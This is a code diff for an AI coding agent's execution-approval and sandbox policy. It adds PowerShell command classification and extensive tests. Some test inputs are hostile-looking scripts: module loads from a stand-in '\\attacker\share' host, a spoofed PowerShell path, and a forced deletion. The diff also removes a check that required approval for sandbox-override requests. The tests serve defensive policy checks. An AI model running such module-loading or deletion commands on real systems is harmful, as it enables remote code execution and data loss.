@@ -660,27 +906,8 @@ pub(crate) fn render_decision_for_unmatched_command( command_origin, } = context; let file_system_sandbox_policy = permission_profile.file_system_sandbox_policy(); - - // A model request to expand beyond a restricted sandbox is an approval - // boundary of its own. Known-safe classification only describes argv; it - // must never turn that explicit expansion request into an implicit allow. - if sandbox_permissions.requests_sandbox_override() - && matches!( - file_system_sandbox_policy.kind, - FileSystemSandboxKind::Restricted - ) - { - return match approval_policy { - AskForApproval::Never => Decision::Forbidden, - AskForApproval::OnRequest - | AskForApproval::UnlessTrusted - | AskForApproval::Granular(_) => Decision::Prompt, - }; - } - let is_known_safe = match command_origin { ExecPolicyCommandOrigin::Generic => is_known_safe_command(command), - ExecPolicyCommandOrigin::PathQualifiedShell => false, #[cfg(windows)] ExecPolicyCommandOrigin::PowerShell => { codex_shell_command::is_safe_command::is_safe_powershell_words(command) @@ -711,7 +938,6 @@ pub(crate) fn render_decision_for_unmatched_command( // forbid the command. let command_is_dangerous = match command_origin { ExecPolicyCommandOrigin::Generic => command_might_be_dangerous(command), - ExecPolicyCommandOrigin::PathQualifiedShell => true, #[cfg(windows)] ExecPolicyCommandOrigin::PowerShell => { codex_shell_command::is_dangerous_command::is_dangerous_powershell_words(command) @@ -795,55 +1021,46 @@ fn profile_has_managed_filesystem_restrictions(permission_profile: &PermissionPr && !file_system_sandbox_policy.has_full_disk_write_access() } +fn permission_delta_requires_outer_authority( + permission_profile: &PermissionProfile, + sandbox_permissions: SandboxPermissions, +) -> bool { + match (permission_profile, sandbox_permissions) { + (PermissionProfile::Disabled, _) => false, + (_, SandboxPermissions::WithAdditionalPermissions) => true, + (PermissionProfile::External { .. }, SandboxPermissions::RequireEscalated) => true, + (PermissionProfile::Managed { .. }, SandboxPermissions::RequireEscalated) => { + unsandboxed_execution_allowed(&permission_profile.file_system_sandbox_policy()) + } + (_, SandboxPermissions::UseDefault) => false, + } +} + +fn missing_managed_windows_sandbox_backend( + permission_profile: &PermissionProfile, + windows_sandbox_level: WindowsSandboxLevel, +) -> bool { + cfg!(windows) + && windows_sandbox_level == WindowsSandboxLevel::Disabled + && profile_has_managed_filesystem_restrictions(permission_profile) +} + fn default_policy_path(codex_home: &Path) -> PathBuf { codex_home.join(RULES_DIR_NAME).join(DEFAULT_POLICY_FILE) } -fn commands_for_exec_policy( - command: &[String], - input_source: ExecPolicyInputSource, -) -> ExecPolicyCommands { - let parse_shell_wrapper = input_source != ExecPolicyInputSource::ModelSelectedPath; - - if parse_shell_wrapper - && let Some(commands) = parse_shell_lc_plain_commands(command) +fn commands_for_exec_policy(command: &[String]) -> ExecPolicyCommands { + if let Some(commands) = parse_shell_lc_plain_commands(command) && !commands.is_empty() { - let command_origin = if commands - .iter() - .any(|command| path_qualified_shell_wrapper(command)) - { - ExecPolicyCommandOrigin::PathQualifiedShell - } else { - ExecPolicyCommandOrigin::Generic - }; return ExecPolicyCommands { commands, used_complex_parsing: false, - command_origin, + command_origin: ExecPolicyCommandOrigin::Generic, }; } - #[cfg(windows)] - { - if parse_shell_wrapper - && let Some(commands) = - codex_shell_command::powershell::parse_powershell_command_into_plain_commands( - command, - ) - && !commands.is_empty() - { - return ExecPolicyCommands { - commands, - used_complex_parsing: false, - command_origin: ExecPolicyCommandOrigin::PowerShell, - }; - } - } - - if parse_shell_wrapper - && let Some(single_command) = parse_shell_lc_single_command_prefix(command) - { + if let Some(single_command) = parse_shell_lc_single_command_prefix(command) { return ExecPolicyCommands { commands: vec![single_command], used_complex_parsing: true, @@ -854,28 +1071,10 @@ fn commands_for_exec_policy( ExecPolicyCommands { commands: vec![command.to_vec()], used_complex_parsing: false, - command_origin: if input_source == ExecPolicyInputSource::ModelSelectedPath { - ExecPolicyCommandOrigin::PathQualifiedShell - } else { - ExecPolicyCommandOrigin::Generic - }, + command_origin: ExecPolicyCommandOrigin::Generic, } } -fn path_qualified_shell_wrapper(command: &[String]) -> bool { - let shell = extract_bash_command(command) - .map(|(shell, _)| shell) - .or_else(|| extract_powershell_command(command).map(|(shell, _)| shell)); - - shell.is_some_and(shell_executable_is_path_qualified) -} - -pub(crate) fn shell_executable_is_path_qualified(shell: &str) -> bool { - Path::new(shell).components().count() != 1 - || shell.contains(['/', '\\']) - || shell.as_bytes().get(1) == Some(&b':') -} - /// Derive a proposed execpolicy amendment when a command requires user approval /// - If any execpolicy rule prompts, return None, because an amendment would not skip that policy requirement. /// - Otherwise return the first heuristics Prompt. diff --git a/codex-rs/core/src/exec_policy_powershell.rs b/codex-rs/core/src/exec_policy_powershell.rs new file mode 100644 index 0000000000..67b6b4a4a9 --- /dev/null +++ b/codex-rs/core/src/exec_policy_powershell.rs @@ -0,0 +1,98 @@ +use codex_shell_command::powershell::PowerShellExecPolicyParse; +use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome; + +use super::render_shlex_command; +use crate::tools::sandboxing::ExecApprovalRequirement; + +pub(super) enum PreparedPowerShell { + Terminal(ExecApprovalRequirement), + Parsed(ParsedPowerShell), + Unsupported, +} + +enum RuntimeTrust { + Trusted, + Untrusted { outer_argv: Vec }, +} + +pub(super) struct ParsedPowerShell { + commands: Vec>, + runtime: RuntimeTrust, +} + +pub(super) fn prepare(command: &[String]) -> Option { + let parsed = + codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)?; + prepare_classified(command, parsed) +} + +pub(super) fn prepare_classified( + command: &[String], + parsed: PowerShellExecPolicyParse, +) -> Option { + match parsed { + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(commands), + } => Some(PreparedPowerShell::Parsed(ParsedPowerShell { + commands, + runtime: RuntimeTrust::Trusted, + })), + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + } => Some(PreparedPowerShell::Unsupported), + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + } => Some(forbidden(command, "the protected PowerShell parser failed")), + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(commands), + } if !commands.is_empty() + && commands + .iter() + .all(|inner| !inner.is_empty() && inner.iter().all(|word| !word.is_empty())) => + { + Some(PreparedPowerShell::Parsed(ParsedPowerShell { + commands, + runtime: RuntimeTrust::Untrusted { + outer_argv: command.to_vec(), + }, + })) + } + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(_), + } => Some(forbidden( + command, + "the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper", + )), + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + } => Some(forbidden( + command, + "an untrusted PowerShell wrapper could not be inspected with the protected system parser", + )), + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + } => Some(forbidden( + command, + "the protected system parser failed while inspecting an untrusted PowerShell wrapper", + )), + } +} + +fn forbidden(command: &[String], reason: &str) -> PreparedPowerShell { + PreparedPowerShell::Terminal(ExecApprovalRequirement::Forbidden { + reason: format!("`{}` rejected: {reason}", render_shlex_command(command)), + }) +} + +impl ParsedPowerShell { + pub(super) fn commands(&self) -> &[Vec] { + &self.commands + } + + pub(super) fn untrusted_outer_argv(&self) -> Option<&[String]> { + match &self.runtime { + RuntimeTrust::Trusted => None, + RuntimeTrust::Untrusted { outer_argv } => Some(outer_argv), + } + } +} diff --git a/codex-rs/core/src/exec_policy_powershell_tests.rs b/codex-rs/core/src/exec_policy_powershell_tests.rs new file mode 100644 index 0000000000..5f1f7ffb60 --- /dev/null +++ b/codex-rs/core/src/exec_policy_powershell_tests.rs @@ -0,0 +1,907 @@ +use super::*; +use codex_shell_command::powershell::PowerShellExecPolicyParse; +use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome; + +fn trusted_windows_powershell() -> String { + codex_shell_command::powershell::try_find_powershell_executable_blocking() + .expect("Windows PowerShell must be installed") + .as_path() + .to_str() + .expect("the Windows PowerShell path must be valid UTF-8") + .to_string() +} + +fn powershell_command(script: &str) -> Vec { + vec![ + trusted_windows_powershell(), + "-Command".to_string(), + script.to_string(), + ] +} + +fn untrusted_powershell_command(script: &str) -> Vec { + vec![ + "powershell.exe".to_string(), + "-Command".to_string(), + script.to_string(), + ] +} + +fn prefix_rule_for(command: &[String], decision: &str) -> String { + let pattern = command + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#) +} + +fn outer_result(command: &[String], prompt: bool) -> ExecApprovalRequirement { + let amendment = Some(ExecPolicyAmendment::new(command.to_vec())); + if prompt { + ExecApprovalRequirement::NeedsApproval { + reason: None, + proposed_execpolicy_amendment: amendment, + } + } else { + ExecApprovalRequirement::Skip { + bypass_sandbox: false, + proposed_execpolicy_amendment: amendment, + } + } +} + +fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval { + AskForApproval::Granular(GranularApprovalConfig { + rules, + sandbox_approval, + skill_approval: false, + request_permissions: false, + mcp_elicitations: false, + }) +} + +fn approval_policies() -> [AskForApproval; 7] { + [ + AskForApproval::Never, + AskForApproval::OnRequest, + AskForApproval::UnlessTrusted, + granular(/*rules*/ false, /*sandbox_approval*/ false), + granular(/*rules*/ false, /*sandbox_approval*/ true), + granular(/*rules*/ true, /*sandbox_approval*/ false), + granular(/*rules*/ true, /*sandbox_approval*/ true), + ] +} + +async fn requirement( + policy_src: Option<&str>, + command: &[String], + approval_policy: AskForApproval, + permission_profile: PermissionProfile, + sandbox_permissions: SandboxPermissions, +) -> ExecApprovalRequirement { + requirement_with_options( + policy_src, + command, + approval_policy, + permission_profile, + WindowsSandboxLevel::RestrictedToken, + sandbox_permissions, + /*prefix_rule*/ None, + ) + .await +} + +async fn requirement_with_options( + policy_src: Option<&str>, + command: &[String], + approval_policy: AskForApproval, + permission_profile: PermissionProfile, + windows_sandbox_level: WindowsSandboxLevel, + sandbox_permissions: SandboxPermissions, + prefix_rule: Option>, +) -> ExecApprovalRequirement { + let policy = policy_from_src(policy_src); + ExecPolicyManager::new(policy) + .create_exec_approval_requirement_for_command(ExecApprovalRequest { + command, + approval_policy, + permission_profile, + windows_sandbox_level, + sandbox_permissions, + prefix_rule, + }) + .await +} + +fn composed_untrusted_requirement( + policy_src: Option<&str>, + outer_argv: &[String], + commands: &[Vec], + approval_policy: AskForApproval, + permission_profile: &PermissionProfile, + windows_sandbox_level: WindowsSandboxLevel, + sandbox_permissions: SandboxPermissions, +) -> ExecApprovalRequirement { + let policy = policy_from_src(policy_src); + create_untrusted_powershell_approval_requirement( + policy.as_ref(), + outer_argv, + commands, + UnmatchedCommandContext { + approval_policy, + permission_profile, + windows_sandbox_level, + sandbox_permissions, + used_complex_parsing: false, + command_origin: ExecPolicyCommandOrigin::PowerShell, + }, + ) +} + +fn one_shot(reason: Option) -> ExecApprovalRequirement { + ExecApprovalRequirement::NeedsOneShotApproval { reason } +} + +fn untrusted_skip(bypass_sandbox: bool) -> ExecApprovalRequirement { + ExecApprovalRequirement::Skip { + bypass_sandbox, + proposed_execpolicy_amendment: None, + } +} + +#[test] +fn untrusted_parsed_state_retains_exact_outer_argv_and_trusted_state_does_not() { + let outer_argv = vec_str(&[ + r"\\?\C:\Workspace\PoWeRsHeLl.ExE. ", + "-NoProfile", + "-Command", + "echo First; Write-Output SECOND", + ]); + let commands = vec![ + vec_str(&["echo", "First"]), + vec_str(&["Write-Output", "SECOND"]), + ]; + + let Some(powershell_policy::PreparedPowerShell::Parsed(untrusted)) = + powershell_policy::prepare_classified( + &outer_argv, + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(commands.clone()), + }, + ) + else { + panic!("nonempty inspected untrusted PowerShell should remain policy-evaluable"); + }; + pretty_assertions::assert_eq!(untrusted.commands(), commands); + pretty_assertions::assert_eq!( + untrusted.untrusted_outer_argv(), + Some(outer_argv.as_slice()) + ); + + let Some(powershell_policy::PreparedPowerShell::Parsed(trusted)) = + powershell_policy::prepare_classified( + &outer_argv, + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(vec![vec_str(&[ + "Get-Location", + ])]), + }, + ) + else { + panic!("trusted parsed PowerShell should remain parsed"); + }; + pretty_assertions::assert_eq!(trusted.untrusted_outer_argv(), None); +} + +#[test] +fn untrusted_opaque_failed_and_empty_parser_states_remain_terminal() { + let command = untrusted_powershell_command("echo blocked"); + let rendered = render_shlex_command(&command); + let cases = [ + ( + PowerShellExecPolicyParseOutcome::Commands(Vec::new()), + "the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper", + ), + ( + PowerShellExecPolicyParseOutcome::Commands(vec![Vec::new()]), + "the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper", + ), + ( + PowerShellExecPolicyParseOutcome::Commands(vec![vec![String::new()]]), + "the protected system parser returned an empty command while inspecting an untrusted PowerShell wrapper", + ), + ( + PowerShellExecPolicyParseOutcome::Unsupported, + "an untrusted PowerShell wrapper could not be inspected with the protected system parser", + ), + ( + PowerShellExecPolicyParseOutcome::Failed, + "the protected system parser failed while inspecting an untrusted PowerShell wrapper", + ), + ]; + + for (outcome, reason) in cases { + let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) = + powershell_policy::prepare_classified( + &command, + PowerShellExecPolicyParse::UntrustedRuntime { outcome }, + ) + else { + panic!("untrusted opaque, failed, and empty states must remain terminal"); + }; + pretty_assertions::assert_eq!( + requirement, + ExecApprovalRequirement::Forbidden { + reason: format!("`{rendered}` rejected: {reason}"), + }, + ); + } +} + +#[test] +fn untrusted_outer_and_every_inner_command_compose_with_strictest_wins() { + let outer = vec_str(&[r"C:\workspace\powershell.exe", "-Command", "echo allowed"]); + let rendered = render_shlex_command(&outer); + let echo = vec_str(&["echo", "allowed"]); + let later = vec_str(&["madeup-later", "value"]); + let full_outer_allow = prefix_rule_for(&outer, "allow"); + let short_outer_allow = prefix_rule_for(&outer[..1], "allow"); + let outer_prompt = prefix_rule_for(&outer, "prompt"); + let outer_forbidden = prefix_rule_for(&outer, "forbidden"); + let echo_allow = prefix_rule_for(&echo[..1], "allow"); + let echo_prompt = prefix_rule_for(&echo[..1], "prompt"); + let echo_forbidden = prefix_rule_for(&echo[..1], "forbidden"); + let later_prompt = prefix_rule_for(&later[..1], "prompt"); + let later_forbidden = prefix_rule_for(&later[..1], "forbidden"); + let policy_prompt_reason = Some(format!("`{rendered}` requires approval by policy")); + + let cases = vec![ + ( + "complete outer and every inner explicit allow", + format!("{full_outer_allow}\n{echo_allow}"), + vec![echo.clone()], + untrusted_skip(true), + ), + ( + "short outer allow remains sandbox preserving", + format!("{short_outer_allow}\n{echo_allow}"), + vec![echo.clone()], + untrusted_skip(false), + ), + ( + "heuristic inner allow cannot establish full authority", + full_outer_allow.clone(), + vec![vec_str(&["Get-Location"])], + untrusted_skip(false), + ), + ( + "inner prompt dominates outer allow", + format!("{full_outer_allow}\n{echo_prompt}"), + vec![echo.clone()], + one_shot(policy_prompt_reason.clone()), + ), + ( + "outer prompt dominates inner allow", + format!("{outer_prompt}\n{echo_allow}"), + vec![echo.clone()], + one_shot(policy_prompt_reason.clone()), + ), + ( + "unmatched outer prompts even with inner allow", + echo_allow.clone(), + vec![echo.clone()], + one_shot(None), + ), + ( + "outer forbidden is terminal", + format!("{outer_forbidden}\n{echo_allow}"), + vec![echo.clone()], + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered}` rejected: policy forbids commands starting with `{rendered}`" + ), + }, + ), + ( + "inner forbidden is terminal", + format!("{full_outer_allow}\n{echo_forbidden}"), + vec![echo.clone()], + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered}` rejected: policy forbids commands starting with `echo`" + ), + }, + ), + ( + "later statement prompt participates", + format!("{full_outer_allow}\n{echo_allow}\n{later_prompt}"), + vec![echo.clone(), later.clone()], + one_shot(policy_prompt_reason), + ), + ( + "later statement forbidden participates", + format!("{full_outer_allow}\n{echo_allow}\n{later_forbidden}"), + vec![echo, later], + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered}` rejected: policy forbids commands starting with `madeup-later`" + ), + }, + ), + ( + "nested wrapper does not inherit outer authority", + full_outer_allow, + vec![vec_str(&["powershell.exe", "-Command", "Get-Location"])], + untrusted_skip(false), + ), + ]; + + for (name, policy_src, commands, expected) in cases { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&policy_src), + &outer, + &commands, + AskForApproval::OnRequest, + &PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ), + expected, + "{name}", + ); + } +} + +#[test] +fn untrusted_unmatched_outer_and_mixed_prompt_causes_follow_approval_policy() { + let outer = untrusted_powershell_command("echo allowed"); + let echo = vec_str(&["echo", "allowed"]); + let echo_allow = prefix_rule_for(&echo[..1], "allow"); + + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&echo_allow), + &outer, + std::slice::from_ref(&echo), + AskForApproval::Never, + &PermissionProfile::Disabled, + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ), + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{}` rejected: blocked by policy", + render_shlex_command(&outer) + ), + }, + ); + for approval_policy in [AskForApproval::OnRequest, AskForApproval::UnlessTrusted] { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&echo_allow), + &outer, + std::slice::from_ref(&echo), + approval_policy, + &PermissionProfile::Disabled, + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ), + one_shot(None), + "{approval_policy:?}", + ); + } + + let outer_prompt = prefix_rule_for(&outer, "prompt"); + let mixed_policy = format!("{outer_prompt}\n{echo_allow}"); + for (rules, sandbox_approval, expected) in [ + ( + false, + false, + ExecApprovalRequirement::Forbidden { + reason: REJECT_RULES_APPROVAL_REASON.to_string(), + }, + ), + ( + false, + true, + ExecApprovalRequirement::Forbidden { + reason: REJECT_RULES_APPROVAL_REASON.to_string(), + }, + ), + ( + true, + false, + ExecApprovalRequirement::Forbidden { + reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(), + }, + ), + ( + true, + true, + one_shot(Some(format!( + "`{}` requires approval by policy", + render_shlex_command(&outer) + ))), + ), + ] { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&mixed_policy), + &outer, + std::slice::from_ref(&echo), + granular(rules, sandbox_approval), + &PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::RequireEscalated, + ), + expected, + "rules={rules}, sandbox_approval={sandbox_approval}", + ); + } + + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&mixed_policy), + &outer, + std::slice::from_ref(&echo), + granular(/*rules*/ true, /*sandbox_approval*/ false), + &PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ), + one_shot(Some(format!( + "`{}` requires approval by policy", + render_shlex_command(&outer) + ))), + "a rule-only prompt does not require sandbox approval", + ); + + let full_outer_allow = prefix_rule_for(&outer, "allow"); + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&full_outer_allow), + &outer, + std::slice::from_ref(&echo), + granular(/*rules*/ false, /*sandbox_approval*/ true), + &PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::RequireEscalated, + ), + one_shot(None), + "a sandbox-only prompt does not require rules approval", + ); +} + +#[test] +fn untrusted_permission_and_windows_backend_gates_require_composed_authority() { + use SandboxPermissions as SP; + use WindowsSandboxLevel as WSL; + + let outer = untrusted_powershell_command("Get-Content Cargo.toml"); + let inner = vec_str(&["Get-Content", "Cargo.toml"]); + let partial_policy = format!( + "{}\n{}", + prefix_rule_for(&outer[..1], "allow"), + prefix_rule_for(&inner[..1], "allow") + ); + let full_policy = format!( + "{}\n{}", + prefix_rule_for(&outer, "allow"), + prefix_rule_for(&inner[..1], "allow") + ); + let denied_read_profile = PermissionProfile::from_runtime_permissions( + &FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry { + path: FileSystemPath::GlobPattern { + pattern: "**/*.env".to_string(), + }, + access: FileSystemAccessMode::Deny, + }]), + NetworkSandboxPolicy::Restricted, + ); + let external_profile = PermissionProfile::External { + network: NetworkSandboxPolicy::Restricted, + }; + + for (name, profile, level, permissions, prompts) in [ + ( + "managed default", + PermissionProfile::read_only(), + WSL::RestrictedToken, + SP::UseDefault, + false, + ), + ( + "managed escalation", + PermissionProfile::read_only(), + WSL::RestrictedToken, + SP::RequireEscalated, + true, + ), + ( + "additional permissions", + PermissionProfile::read_only(), + WSL::RestrictedToken, + SP::WithAdditionalPermissions, + true, + ), + ( + "missing managed backend", + PermissionProfile::read_only(), + WSL::Disabled, + SP::UseDefault, + true, + ), + ( + "denied-read escalation", + denied_read_profile, + WSL::RestrictedToken, + SP::RequireEscalated, + false, + ), + ( + "disabled profile", + PermissionProfile::Disabled, + WSL::Disabled, + SP::RequireEscalated, + false, + ), + ( + "external default", + external_profile.clone(), + WSL::RestrictedToken, + SP::UseDefault, + false, + ), + ( + "external escalation", + external_profile, + WSL::RestrictedToken, + SP::RequireEscalated, + true, + ), + ] { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&partial_policy), + &outer, + std::slice::from_ref(&inner), + AskForApproval::OnRequest, + &profile, + level, + permissions, + ), + if prompts { + one_shot(None) + } else { + untrusted_skip(false) + }, + "{name}", + ); + } + + for (level, permissions) in [ + (WSL::RestrictedToken, SP::RequireEscalated), + (WSL::RestrictedToken, SP::WithAdditionalPermissions), + (WSL::Disabled, SP::UseDefault), + ] { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&full_policy), + &outer, + std::slice::from_ref(&inner), + AskForApproval::OnRequest, + &PermissionProfile::read_only(), + level, + permissions, + ), + untrusted_skip(true), + "composed authority should cover {level:?} and {permissions:?}", + ); + } +} + +#[test] +fn untrusted_wrapper_identity_uses_exact_outer_and_restrictive_basename_rules() { + let path_a = vec_str(&[r"C:\workspace-a\powershell.exe", "-Command", "echo allowed"]); + let path_b = vec_str(&[r"C:\workspace-b\powershell.exe", "-Command", "echo allowed"]); + let inner = vec_str(&["echo", "allowed"]); + let inner_allow = prefix_rule_for(&inner[..1], "allow"); + let basename_allow = prefix_rule_for(&vec_str(&["powershell.exe"]), "allow"); + let exact_a_allow = prefix_rule_for(&path_a, "allow"); + let basename_prompt = prefix_rule_for(&vec_str(&["powershell.exe"]), "prompt"); + let basename_forbidden = prefix_rule_for(&vec_str(&["powershell.exe"]), "forbidden"); + let mut extended = path_a.clone(); + extended.insert(1, "-NoProfile".to_string()); + let namespace_outer = vec_str(&[ + r"\\?\C:\attacker\powershell.exe.", + "-Command", + "echo allowed", + ]); + let namespace_policy = format!( + "{}\nhost_executable(name = \"powershell\", paths = [\"C:\\\\trusted\\\\powershell.exe\"])\n{inner_allow}", + prefix_rule_for(&vec_str(&["powershell.exe."]), "allow") + ); + let rendered_a = render_shlex_command(&path_a); + let cases = vec![ + ( + "basename Allow", + path_a.clone(), + format!("{basename_allow}\n{inner_allow}"), + one_shot(None), + ), + ( + "path A rule against B", + path_b, + format!("{exact_a_allow}\n{inner_allow}"), + one_shot(None), + ), + ( + "basename Prompt", + path_a.clone(), + format!("{exact_a_allow}\n{basename_prompt}\n{inner_allow}"), + one_shot(Some(format!("`{rendered_a}` requires approval by policy"))), + ), + ( + "basename Forbidden", + path_a, + format!("{exact_a_allow}\n{basename_forbidden}\n{inner_allow}"), + ExecApprovalRequirement::Forbidden { + reason: format!( + "`{rendered_a}` rejected: policy forbids commands starting with `powershell.exe`" + ), + }, + ), + ( + "extended argv", + extended, + format!("{exact_a_allow}\n{inner_allow}"), + one_shot(None), + ), + ( + "mapped namespace", + namespace_outer, + namespace_policy, + one_shot(None), + ), + ]; + + for (name, outer, policy_src, expected) in cases { + pretty_assertions::assert_eq!( + composed_untrusted_requirement( + Some(&policy_src), + &outer, + std::slice::from_ref(&inner), + AskForApproval::OnRequest, + &PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + ), + expected, + "{name}", + ); + } +} + +#[tokio::test] +async fn untrusted_parsed_results_ignore_requested_amendments() { + let command = untrusted_powershell_command("echo allowed"); + let inner_allow = prefix_rule_for(&vec_str(&["echo"]), "allow"); + let requested_prefix = Some(vec_str(&["echo"])); + + pretty_assertions::assert_eq!( + requirement_with_options( + /*policy_src*/ None, + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + requested_prefix.clone(), + ) + .await, + one_shot(None), + ); + + let full_policy = format!("{}\n{inner_allow}", prefix_rule_for(&command, "allow")); + pretty_assertions::assert_eq!( + requirement_with_options( + Some(&full_policy), + &command, + AskForApproval::OnRequest, + PermissionProfile::read_only(), + WindowsSandboxLevel::RestrictedToken, + SandboxPermissions::UseDefault, + requested_prefix, + ) + .await, + untrusted_skip(true), + ); +} + +#[test] +fn parser_failures_are_terminal_for_trusted_and_untrusted_runtimes() { + let command = powershell_command("Get-Content Cargo.toml"); + let rendered = render_shlex_command(&command); + let cases = [ + ( + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + }, + "the protected PowerShell parser failed", + ), + ( + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Failed, + }, + "the protected system parser failed while inspecting an untrusted PowerShell wrapper", + ), + ]; + + for (parsed, reason) in cases { + let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) = + powershell_policy::prepare_classified(&command, parsed) + else { + panic!("parser failure must produce a terminal policy result"); + }; + pretty_assertions::assert_eq!( + requirement, + ExecApprovalRequirement::Forbidden { + reason: format!("`{rendered}` rejected: {reason}"), + }, + ); + } +} + +#[tokio::test] +async fn trusted_unsupported_scripts_use_the_generic_outer_policy() { + let scripts = [ + "", + "param([string]$path) Get-Content Cargo.toml", + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + "UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml", + "configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }", + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + // The raw pre-parser gate intentionally accepts false positives in exchange for + // never invoking SMA on a possible parse-time construct. + "Write-Output 'confusing but inert'", + ]; + let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()]; + + for script in scripts { + let command = powershell_command(script); + for approval_policy in approval_policies() { + for permission_profile in &profiles { + let requirement = requirement( + None, + &command, + approval_policy, + permission_profile.clone(), + SandboxPermissions::UseDefault, + ) + .await; + let expected = + outer_result(&command, approval_policy == AskForApproval::UnlessTrusted); + + pretty_assertions::assert_eq!( + requirement, + expected, + "script {script:?} with {approval_policy:?} and {permission_profile:?}", + ); + } + } + } +} + +#[tokio::test] +async fn dangerous_trusted_unsupported_scripts_keep_generic_policy_protections() { + let command = powershell_command("Write-Output 'using'; Remove-Item target -Force"); + let rendered = render_shlex_command(&command); + let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()]; + + for approval_policy in approval_policies() { + for permission_profile in &profiles { + let requirement = requirement( + None, + &command, + approval_policy, + permission_profile.clone(), + SandboxPermissions::UseDefault, + ) + .await; + let expected = match approval_policy { + AskForApproval::Never + if matches!(permission_profile, PermissionProfile::Disabled) => + { + outer_result(&command, false) + } + AskForApproval::Never => ExecApprovalRequirement::Forbidden { + reason: format!("`{rendered}` rejected: blocked by policy"), + }, + AskForApproval::Granular(config) if !config.allows_sandbox_approval() => { + ExecApprovalRequirement::Forbidden { + reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(), + } + } + _ => outer_result(&command, true), + }; + + pretty_assertions::assert_eq!( + requirement, + expected, + "{approval_policy:?} with {permission_profile:?}", + ); + } + } +} + +#[tokio::test] +async fn sandbox_override_on_trusted_unsupported_script_uses_outer_argv() { + let command = powershell_command("Write-Output 'confusing but inert'"); + + for (approval_policy, permits_prompt) in [ + (AskForApproval::OnRequest, true), + (granular(/*rules*/ true, /*sandbox_approval*/ true), true), + (granular(/*rules*/ true, /*sandbox_approval*/ false), false), + ] { + pretty_assertions::assert_eq!( + requirement( + None, + &command, + approval_policy, + PermissionProfile::read_only(), + SandboxPermissions::RequireEscalated, + ) + .await, + if permits_prompt { + outer_result(&command, true) + } else { + ExecApprovalRequirement::Forbidden { + reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(), + } + }, + ); + } +} + +#[tokio::test] +async fn trusted_unsupported_scripts_only_match_outer_rules() { + let inner_rule_command = powershell_command( + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + ); + + pretty_assertions::assert_eq!( + requirement( + Some(r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#), + &inner_rule_command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + SandboxPermissions::UseDefault, + ) + .await, + outer_result(&inner_rule_command, true), + ); + + let command = powershell_command("Write-Output 'confusing but inert'"); + let outer_pattern = command + .iter() + .map(|word| format!(r#""{}""#, starlark_string(word))) + .collect::>() + .join(", "); + let policy_src = format!(r#"prefix_rule(pattern=[{outer_pattern}], decision="allow")"#); + pretty_assertions::assert_eq!( + requirement( + Some(&policy_src), + &command, + AskForApproval::UnlessTrusted, + PermissionProfile::read_only(), + SandboxPermissions::UseDefault, + ) + .await, + ExecApprovalRequirement::Skip { + bypass_sandbox: true, 